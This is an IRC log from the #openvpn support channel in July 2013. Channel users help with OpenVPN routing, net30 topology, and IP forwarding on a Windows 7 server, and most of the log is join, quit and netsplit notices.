18:36 -!- nikkiheat [~nikkiheat@c-24-10-172-109.hsd1.ut.comcast.net] has quit [Client Quit]
18:46 -!- master_o1_master [~master_of@p4FF24822.dip0.t-ipconnect.de] has joined #openvpn
18:48 -!- nikkiheat [~nikkiheat@c-24-10-172-109.hsd1.ut.comcast.net] has joined #openvpn
18:48 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
18:49 -!- master_of_master [~master_of@p4FF24C43.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
19:00 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:01 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
19:03 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 268 seconds]
19:14 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has quit [Ping timeout: 276 seconds]
19:14 -!- raidz is now known as raidz_away
19:14 -!- asharp [~Adium@216.74.32.228] has quit [Quit: Leaving.]
19:15 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has joined #openvpn
19:15 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has quit [Read error: Connection reset by peer]
19:43 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
19:54 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
20:01 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
20:01 -!- tjz [~tjz@unaffiliated/tjz] has quit [Client Quit]
20:05 -!- HyperGlide [~HyperGlid@110.185.145.96] has joined #openvpn
20:12 -!- nikkiheat [~nikkiheat@c-24-10-172-109.hsd1.ut.comcast.net] has quit [Ping timeout: 246 seconds]
20:16 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 240 seconds]
20:17 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
20:32 -!- Falconor [falconor@unaffiliated/falconor] has quit [Remote host closed the connection]
20:34 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 240 seconds]
20:38 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 240 seconds]
20:39 -!- Falconor [~Falconor@unaffiliated/falconor] has joined #openvpn
20:53 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
21:49 -!- HyperGlide [~HyperGlid@110.185.145.96] has quit [Remote host closed the connection]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:05 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 256 seconds]
22:05 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
22:10 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 268 seconds]
22:11 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
22:35 -!- grendal-prime [~sgraham@173.166.255.77] has joined #openvpn
22:35 < grendal-prime> ok im not high or anything like that..but im tryint to push a route to one user..
22:35 < grendal-prime> its not working
22:36 < grendal-prime> im refilling my mohito brb
22:40 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
22:42 < grendal-prime> ok im back
22:44 < grendal-prime> i assumed i could do that with ccd file?
22:45 < grendal-prime> was i wrong on that?
23:06 -!- JAVACODER [~JAVACODER@2.190.37.144] has joined #openvpn
23:06 -!- JAVACODER [~JAVACODER@2.190.37.144] has left #openvpn []
--- Day changed Sat Jul 20 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:13 < Perun> I have 2 openvpn tunnels to 2 differnet server. The client files are here: http://pastebin.com/2nmYapU1 both tunnels does work but not at the same time... why?
00:21 < Poster> did you install a second tap adapter on the client?
00:22 < Perun> hmm how do you mean it? openvpn creates the tap device and they have differnt names  in the config files
00:24 < Poster> I am not completely sure about your usage of dev in there
00:24 < Poster> do you have native IPv6 on the client?  No tunnel?
00:25 < Perun> yep
00:25 < Perun> as I say, not at the same time both does work
00:26 < Poster> ok, I'd try commenting out the dev line and trying to run each interactively
00:34 < Perun> you mean with --config?
00:35 < Poster> yep
00:35 < Poster> something like openvpn --config /path/to/config1.conf
00:35 < Poster> and repeat for /path/to/config2.conf
00:35 < Poster> in two shell windows
00:54 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 240 seconds]
00:55 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
01:07 -!- grendal-prime [~sgraham@173.166.255.77] has quit [Quit: Ex-Chat]
02:00 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:20 -!- Devastatr [~devas@186.214.14.95] has joined #openvpn
03:23 -!- Blok_ [~sa@h-219-80.a357.priv.bahnhof.se] has joined #openvpn
03:24 -!- oBadAtom_ [~epigramma@badatom.org] has joined #openvpn
03:25 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has joined #openvpn
03:26 -!- dooglus_ [~biufter@rincevent.net] has joined #openvpn
03:26 -!- dooglus_ [~biufter@rincevent.net] has quit [Changing host]
03:26 -!- dooglus_ [~biufter@unaffiliated/dooglus] has joined #openvpn
03:26 -!- rooth_ [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
03:28 -!- simcop2387_ [~simcop238@p3m/member/simcop2387] has joined #openvpn
03:29 -!- troj_ [~xxx@94.242.205.4] has joined #openvpn
03:29 -!- phantomcircuit_ [~phantomci@covertinferno.org] has joined #openvpn
03:30 -!- Netsplit *.net <-> *.split quits: phantomcircuit, troj, simcop2387, Tera, oBadAtom, Blok, liriel, dooglus, Devastator, Dave2,  (+1 more, use /NETSPLIT to show all of them)
03:30 -!- simcop2387_ is now known as simcop2387
03:33 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
03:34 -!- Blok [~sa@h-219-80.a357.priv.bahnhof.se] has joined #openvpn
03:34 -!- Blok [~sa@h-219-80.a357.priv.bahnhof.se] has quit [Changing host]
03:34 -!- Blok [~sa@unaffiliated/blok] has joined #openvpn
03:35 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
03:36 -!- phantomcircuit_ is now known as phantomcircuit
03:38 -!- rooth_ is now known as rooth
03:39 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
03:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
03:42 -!- frank-- [~avenger@unaffiliated/thumbs] has joined #openvpn
03:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:45 -!- YamakasY_ [~yamakasY@62.58.32.94] has joined #openvpn
03:46 -!- Netsplit *.net <-> *.split quits: Blok_, Rallias, eliasp, lmm, thumbs, krphop
03:46 -!- Devastator [~devas@186.214.14.95] has joined #openvpn
03:46 -!- krphop_ [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
03:48 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
03:48 -!- Ronoclaf [falconor@pool-71-178-185-225.cmdnnj.fios.verizon.net] has joined #openvpn
03:53 -!- Rallias [~rallias@unaffiliated/gasseus] has joined #openvpn
03:54 -!- Netsplit *.net <-> *.split quits: YamakasY, cm_, mitz, Falconor, qwertyoruiop, Devastatr, xBytez, eliasp_, batrick
03:55 -!- Netsplit over, joins: qwertyoruiop
03:56 -!- Netsplit over, joins: xBytez
03:56 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
03:57 -!- Netsplit over, joins: mitz
03:58 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
03:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
04:07 -!- Netsplit *.net <-> *.split quits: @krzee, master_o1_master, troyt, zu, Roelke, kloeri, hfp, mnathani, sitaktif, lickalott,  (+33 more, use /NETSPLIT to show all of them)
04:07 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:07 -!- kloeri_ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
04:07 -!- Netsplit over, joins: pekster, master_o1_master, Ronoclaf, YamakasY_, frank--, Tera, oBadAtom_, gffa, goldkatze, cj (+20 more)
04:07 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
04:07 -!- Netsplit over, joins: jgeboski, @krzee, soapee01, Cultist, lbft, troyt, lickalott, abyss, and`, VunKruz
04:07 -!- ServerMode/#openvpn [+vo pekster krzee] by holmes.freenode.net
04:07 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Max SendQ exceeded]
04:08 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
04:08 -!- kloeri_ is now known as Guest90834
04:08 -!- excalibr [ubuntu@unaffiliated/excalibr] has quit [Disconnected by services]
04:08 -!- Netsplit *.net <-> *.split quits: soapee01, and`, LeLutin, MacGyver, haasn, krapper, clever, Roelke, troyt, +pekster,  (+8 more, use /NETSPLIT to show all of them)
04:08 -!- excalibr_ [ubuntu@ec2-50-18-223-198.us-west-1.compute.amazonaws.com] has joined #openvpn
04:09 -!- excalibr_ is now known as excalibr
04:09 -!- excalibr [ubuntu@ec2-50-18-223-198.us-west-1.compute.amazonaws.com] has quit [Changing host]
04:09 -!- excalibr [ubuntu@unaffiliated/excalibr] has joined #openvpn
04:09 -!- jgeboski- is now known as jgeboski
04:09 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Excess Flood]
04:10 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:10 -!- Netsplit over, joins: XReaper, Roelke, and`, abyss, lickalott, troyt, lbft, Cultist, soapee01
04:10 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
04:10 -!- Netsplit over, joins: +pekster, LeLutin, MikeH_, MacGyver, krapper, clever, haasn
04:11 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
04:12 -!- zu_ [~zu@ks387228.kimsufi.com] has joined #openvpn
04:12 -!- zu [~zu@ks387228.kimsufi.com] has quit [Remote host closed the connection]
04:12 -!- Guest90834 is now known as kloeri
04:15 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
04:19 -!- _Dave2_ is now known as Dave2
04:19 -!- kloeri__ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
04:20 -!- oBadAtom [~epigramma@supporter/active/BadAtom] has joined #openvpn
04:20 -!- master_of_master [~master_of@p4FF24822.dip0.t-ipconnect.de] has joined #openvpn
04:24 -!- Netsplit *.net <-> *.split quits: kloeri, master_o1_master, mnathani, Scub, hfp, oBadAtom_, YamakasY_
04:24 -!- kloeri__ is now known as kloeri
04:31 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
04:31 -!- hfp [~user@ovpn.t28.net] has joined #openvpn
04:34 -!- Scub [~ae@shellie.darchoods.net] has joined #openvpn
04:52 -!- JSharpe [~JSharpe@ns237393.ovh.net] has joined #openvpn
04:59 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
04:59 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
05:29 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
05:43 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
05:54 -!- JSharpe [~JSharpe@ns237393.ovh.net] has quit [Ping timeout: 248 seconds]
05:55 -!- lmm [uid6417@gateway/web/irccloud.com/x-xftcfiwmmmobhvka] has joined #openvpn
05:56 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
05:57 -!- JSharpe [~JSharpe@ns264658.ovh.net] has joined #openvpn
05:58 -!- johncarmack is now known as andrusha97
06:02 -!- Netsplit *.net <-> *.split quits: kloeri, YamakasY, mnathani, excalibr
06:03 -!- Netsplit over, joins: kloeri
06:03 -!- Netsplit over, joins: excalibr
06:03 -!- Netsplit over, joins: YamakasY
06:03 -!- JSharpe [~JSharpe@ns264658.ovh.net] has quit [Read error: Connection reset by peer]
06:03 -!- JSharpe_ [~JSharpe@ns264658.ovh.net] has joined #openvpn
06:07 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
06:40 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 246 seconds]
06:40 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
06:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
06:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:57 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 240 seconds]
06:59 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
07:10 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:16 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:18 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
07:19 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 276 seconds]
08:01 -!- Ronoclaf is now known as Falconor
08:01 -!- Falconor [falconor@pool-71-178-185-225.cmdnnj.fios.verizon.net] has quit [Changing host]
08:01 -!- Falconor [falconor@unaffiliated/falconor] has joined #openvpn
08:24 -!- Denial [Denial@90.202.26.221] has joined #openvpn
08:37 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
08:51 -!- master_of_master [~master_of@p4FF24822.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
08:55 -!- HyperGlide [~HyperGlid@110.185.145.96] has joined #openvpn
08:56 -!- master_of_master [~master_of@p4FF24822.dip0.t-ipconnect.de] has joined #openvpn
08:56 -!- mback2k_ is now known as mback2k
09:21 -!- mback2k is now known as mback2k_
09:42 -!- thecaptain2000 [~quassel@82.179.216.87.static.jazztel.es] has joined #openvpn
09:45 < thecaptain2000> hi, I am a newcomer to openvpn, I am interested in it as I need an efficient voip service and I have kind of the feeling my adsl operator has a DPI and purposely  makes the  voip servive unuseable. if I set up a vpn service in my home server would it help? or would the traffic be encrypted just between my clients and the openvpn server (still at home) and the clear voip triffic thereafter?
09:46 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
09:46 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
09:53 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
09:55 -!- thecaptain2000 [~quassel@82.179.216.87.static.jazztel.es] has quit [Remote host closed the connection]
10:08 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 248 seconds]
10:18 -!- Devastatr [~devas@177.99.152.62] has joined #openvpn
10:19 -!- Devastator [~devas@186.214.14.95] has quit [Ping timeout: 246 seconds]
10:45 -!- SuperLag [~akulbe@unaffiliated/superlag] has quit [Quit: leaving]
10:58 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
11:09 -!- JAVACODER [~JAVACODER@2.190.37.144] has joined #openvpn
11:10 -!- JAVACODER [~JAVACODER@2.190.37.144] has quit [Client Quit]
11:12 -!- JAVACODER [~JAVACODER@2.190.37.144] has joined #openvpn
11:14 -!- JAVACODER [~JAVACODER@2.190.37.144] has left #openvpn []
11:14 <@EugeneKay> If I had to guess, it takes a --help flag?
11:14 <@EugeneKay> Wrong window
11:15 < XReaper> EugeneKay: diaf :D
11:15 < XReaper> err... hi there
11:15 <@EugeneKay> Lick me.
11:15 < XReaper> no thanks
11:15 <@EugeneKay> But I'm sugared!
11:15 < XReaper> :o
11:15  * XReaper licks EugeneKay clean
11:37 -!- frank-- is now known as thumbs
11:53 -!- youknow [ilove@i.hope.you.are.offended.by.horseboners.xxx] has joined #openvpn
11:53  * youknow hugs EugeneKay 
11:53 <@EugeneKay> I don't know.
12:02 < youknow> Nor do I :(
12:04 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
12:04 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
12:17 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
12:18 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
12:23 -!- Falconor [falconor@unaffiliated/falconor] has quit [Ping timeout: 276 seconds]
12:30 -!- mete [~mete@mete.shell.la] has quit [Quit: .]
12:33 -!- Falconor [falconor@pool-71-178-185-225.cmdnnj.fios.verizon.net] has joined #openvpn
12:40 -!- krantz [~d3vd3l@korn46.bitnet.nu] has joined #openvpn
12:42 < krantz> I've setup the vpn service config with push "route 192.168.10.0 255.255.255.0" which I have understood it to make it possible for me to access other computers on the same network as the vpn server itself.
12:42 < krantz> But I can't even ping any of the other computers in the network.
12:42 < krantz> What else do I have to do?
12:45 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 248 seconds]
12:45 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
12:48 < krantz> And also. Did a netstat -r on the client computer while connected to the vpn server. Had a bunch of addresses that dont makes sence.
12:48 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
12:50 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Operation timed out]
12:55 < Thermi> krantz: If you give the vpn client a networ
12:55 < Thermi> argh
12:56 < krantz> Thermi: If i give the vpn client a network...?
12:56 < Thermi> krantz: If you give the vpn client an IP of another subnet and you didn't set up a route to that subnet on any pc you try to contact in your land and/or their defaultrouter, those PCs don't know where to send the packets.
12:57 < Thermi> You might want to SNAT all traffic from your vpn to the lan, so you don't have to do that.
12:57 < krantz> How do I do that?
12:57 < Thermi> iptables.
12:57 < krantz> And how is iptables setup?
12:58 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
12:59 < Thermi> -A POSTROUTING -s 172.16.19.0/24 -o enp3s0 -j MASQUERADE
12:59 < krantz> Im running windows.
12:59 < Thermi> When 172.16.19.0/24 is your VPN network and enp3s0 is your LAN facing ethernet adapter.
12:59 < Thermi> Well, I don't know, then.
12:59 < Thermi> I'm solely running Linux machines here.
13:01 < Thermi> krantz: I guess you have to tell the windows firewall to snat all traffic from the VPN net to the LAN net.
13:01 < krantz> i dont use windows firewall.
13:01 < Thermi> what else then?
13:01 < krantz> i use a mikrotik router.
13:01 < krantz> no firewalls are activated within the network.
13:02 < krantz> no firewalls on any machine that is
13:02 < Thermi> but those machines still have a firewall, but their policy is accept, I think.
13:02 < Thermi> So they don't touch the traffic.
13:02 < Thermi> I guess your best move is to set up a route on the default router of all the pcs on the network
13:03 < Thermi> e.g. <vpn net> via <vpn server>
13:03 < Thermi> something like that.
13:07 < krantz> so... i need to add a route in the router with something like this? dst. address 192.168.85.0/24 (vpn server network), gateway 192.168.10.12 (the vpn server internal network ip)?
13:07 < Thermi> yep.
13:07 < krantz> thats what i have done
13:07 < krantz> still dont work
13:08 < Thermi> is the router the default router for all the machines on your network?
13:10 < krantz> yes
13:10 < Thermi> I guess, then you have to tell the OS on your vpn server to forward the packets to the other adapter.
13:11 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
13:11 < Thermi> adapter == the vpn adapter OpenVPN created. It's a tun/tap-device
13:12 < krantz> hm
13:12 < Thermi> On Linux, this would be just one line. :p
13:12 < krantz> thermi:
13:12 < krantz> u want me to install the vpn server on my virtual linux machine?
13:13 < krantz> or...
13:13 < krantz> i could install it on the mikrotik router.
13:13 < krantz> its running linux
13:13 < Thermi> well, that could be a solution, but this only works, when you can load modules and create tun/tap devices in vm.
13:13 < krantz> as far as i know
13:13 < krantz> i use oracle's virtualbox
13:13 < Thermi> s/when/is
13:13 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
13:14 < Thermi> *s/when/if
13:14 < Thermi> I don't know about that, but I think it would work.
13:14 < krantz> ok
13:15 < Thermi> For easy setup, the best thing to do is to bridge the network devices, so packets flow to the VM unhindered.
13:17 < krantz> ill get a
13:17 -!- Falconor [falconor@pool-71-178-185-225.cmdnnj.fios.verizon.net] has quit [Read error: Connection reset by peer]
13:17 < krantz> ill get back to u
13:26 -!- Falconor [falconor@unaffiliated/falconor] has joined #openvpn
13:29 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
13:31 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
13:36 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
13:38 -!- krantz [~d3vd3l@korn46.bitnet.nu] has quit [Ping timeout: 246 seconds]
13:40 -!- krantz [~d3vd3l@m37-197-21-189.cust.tele2.se] has joined #openvpn
13:51 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
13:53 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
14:13 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
14:29 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
14:31 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
14:34 -!- JAVACODER [~JAVACODER@2.190.46.144] has joined #openvpn
14:41 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
14:53 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
14:55 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 248 seconds]
15:01 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
15:01 < krantz> How come my client computer, while connected to the vpn (192.168.85.0/24), shows the addresses: 192.168.85.1, x.x.x.4, x.x.x.6 (client ip), x.x.x.6, x.x.x.7?
15:02 < krantz> Isnt it just suppose to have the gw ip 192.168.85.1 and the client ip 192.168.85.6?
15:03 < krantz> Where does .4, .6 and .7 come in?
15:03 < krantz> -6.
15:04 < krantz> And the address 192.168.85.1 has the gw address 192.168.85.5...
15:04 < krantz> Thats just strange...
15:04 < krantz> Or am I totally nuts?
15:11 -!- Devastatr [~devas@177.99.152.62] has quit [Changing host]
15:11 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
15:11 -!- Devastatr is now known as Devastator
15:12 < Thermi> krantz: where do these new addresses appear?
15:13 < krantz> In cmd with netstat.
15:13 < krantz> On hte client machine
15:13 < Thermi> yes, but as remote host or as lokal host? and in what net are these?
15:13 < Thermi> and are these x.x.x. all the same net?
15:14 < krantz> x.x.x means 192.168.85.x
15:14 < Thermi> ah, okay.
15:14 -!- zampa_ is now known as zampa
15:15 < krantz> I know the 192.168.85.1 is the vpn gw.
15:15 < Thermi> do these ips appear as remote host?
15:15 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has quit [Changing host]
15:15 -!- zampa [zampa@luda/zampa] has joined #openvpn
15:15 < krantz> And .6 is the ip of the client. The IP I get from the VPN server when connecting to it.
15:15 < krantz> What do you mean?
15:15 < krantz> Remote host?
15:16 < Thermi> well netstat doesn't just show you your local IPs, but also the remote endpoints of the connections, no?
15:16 < krantz> Yes.
15:16 < krantz> Those only appear when connected to the vpn server.
15:16 < Thermi> Do these IPs appear as the remote endpoints or on your local one?
15:17 < krantz> Huh?
15:17 < krantz> They appear on the client.
15:17 < Thermi> okay. o.O
15:17 < Thermi> That's weird.
15:17 < krantz> Yeah.
15:17 < Thermi> Are there hosts on your lan that have these IPs?
15:17 < krantz> No.
15:17 < Thermi> uh.
15:18 < Thermi> That's weird, then.
15:18 < krantz> And I can't ping the ip'
15:18 < krantz> Ip's.
15:18 < Thermi> well, there are no machines that occupy them.
15:18 < krantz> The .4, .6, .7.
15:19 < krantz> Right.
15:19 < Thermi> 6 is the IP of the client in the VPN, yes?
15:19 < krantz> Oh. FOrget the 6. Yes.
15:19 < krantz> Thats right.
15:19 -!- qwertyoruiop is now known as adaminotsull
15:19 < krantz> Its the IP's .4 and .7 that are not right.
15:19 < krantz> Want me to make a screen dump?
15:20 < Thermi> What happens when you disconnect and reconnect?
15:20 < Thermi> no, just paste what netstat says. I have no Windows running machine here to look at what it outputs.
15:20 < krantz> When I disconnect they dissappear. When I then reconnect they reappeare.
15:21 -!- adaminotsull is now known as qwertyoruiop
15:22 < krantz> 192.168.85.1  255.255.255.255     192.168.85.5     192.168.85.6     30
15:22 < krantz> 192.168.85.4  255.255.255.252         On-link      192.168.85.6    286
15:22 < krantz> 192.168.85.6  255.255.255.255         On-link      192.168.85.6    286
15:22 < krantz> 192.168.85.7  255.255.255.255         On-link      192.168.85.6    286
15:22 < krantz> Ehrm...
15:22 < krantz> Lemme check also...
15:22 < Thermi> *cough*
15:22 < Thermi> Please use a pastebin service
15:22 < Thermi> :D
15:22 < krantz> Sorry.
15:22 < krantz> On it. :)
15:22 -!- JAVACODER [~JAVACODER@2.190.46.144] has quit [Read error: Connection reset by peer]
15:23 < krantz> Here...
15:23 < krantz> http://pastebin.com/QqbMPKJg
15:24 < krantz> Also note, this is still the Windwos enviroment.
15:24 < krantz> And also the Windows OpenVPN server.
15:24 < krantz> No Linux.
15:24 < Thermi> Yes, I wondered why there were all those unknown nets.
15:25 < Thermi> well, Network Destination 255.255.255.255 means, that it's a single host that is on that route available, but I'm wondering why it's on On-Link and the local interface and why Windows even uses these,.
15:26 < Thermi> But disregarding those weird IPs, OpenVPN works?
15:26 < krantz> Yes. Indeed.
15:27 < krantz> Yes. I can access the server itself. But still not access any of the other computers on the same local network as the vpn server (192.168.10.0/24).
15:27 < Thermi> I think there's some setting in the Network Management, where you can enable packet forwarding.
15:27 < Thermi> But that's everything I can tell you about it. Perhaps Google can find some stuff about that for you.
15:28 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
15:29 < krantz> Well.
15:29 < krantz> Why is the 192.168.85.1 using gw 192.168.85.5?
15:30 < rob0> !/30
15:30 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
15:30 < Thermi> Well, there you have it, then.
15:31 < krantz> Hm.
15:31 < krantz> Darn.
15:32 < krantz> The OS is newly installed on the computer running the ovpn server.
15:33 < krantz> And still I can't reach any of the other computers on the same local network as the ovpn server.
15:34 -!- JSharpe_ [~JSharpe@ns264658.ovh.net] has quit [Read error: Operation timed out]
15:37 < Thermi> Well, it has to do with the server not forwarding packets, I think
15:37 < Thermi> What happens when you try pinging an IP of the VPN network from a PC in the lan segment?
15:38 < krantz> Sec.
15:39 < krantz> I can ping the gw 192.168.85.1 but not the client computer 192.168.85.6
15:39 < Thermi> Then it's definately the forwarding.
15:39 < Thermi> Figure out how to make your server forward packets, then it's all done.
15:39 < Thermi> I had the same problem here on my linux setup, until I figured that out.
15:41 < krantz> Well. It should just forward the packets. I commented out the push "route 192.168.10.0 255.255.255.0"
15:41 < krantz> So it should work.
15:42 < Thermi> isn't 192.168.10.0/24 your lan?
15:43 < krantz> yes
15:44 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
15:45 < Thermi> when you comment out 'push "route 192.168.10.0 255.255.255.0"', your clients won't know that 192.168.10.0/24 is reachable via 192.168.85.1
15:46 < rob0> !serverlan
15:46 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png or (#4) flowchart mirror at
15:46 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
15:46 < Thermi> and won't be able to answer packets coming from that network.
15:46 < rob0> Did you try that flowchart yet?
15:47 < Thermi> I told krantz, that he needs to enable Forwarding on the server, but he doesn't seem to be able to do that. :/
15:47 < krantz> Well.
15:47 < krantz> HOW.
15:47 < Thermi> what Windows OS exactly?
15:47 < Thermi> Did you try googleing how to do it? :D
15:47 < krantz> Windows 7
15:48 < Thermi> http://technet.microsoft.com/de-de/library/ff687814(v=ws.10).aspx
15:48 < krantz> If Im gonna Google It. What do I search for?
15:48 < Thermi> argfh
15:48 < rob0> IP forwarding on the server is necessary, yes.
15:48 < Thermi> not de-de
15:48 < rob0> !winipforward
15:48 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
15:48 < Thermi> rather en-en or en-us or something
15:48 < Thermi> that's for XP.
15:48 < krantz> Doesnt matter now.
15:48 < krantz> I tried to bridge the two interfaces... And now I can access the server in any way at all.
15:49 < Thermi> well, nicely done.
15:49 < Thermi> so you just expanded 192.168.10.0/24 to the VPN, yes?
15:49 < krantz> NOT
15:49 < krantz> Now I CANT access the server in anyway at all.
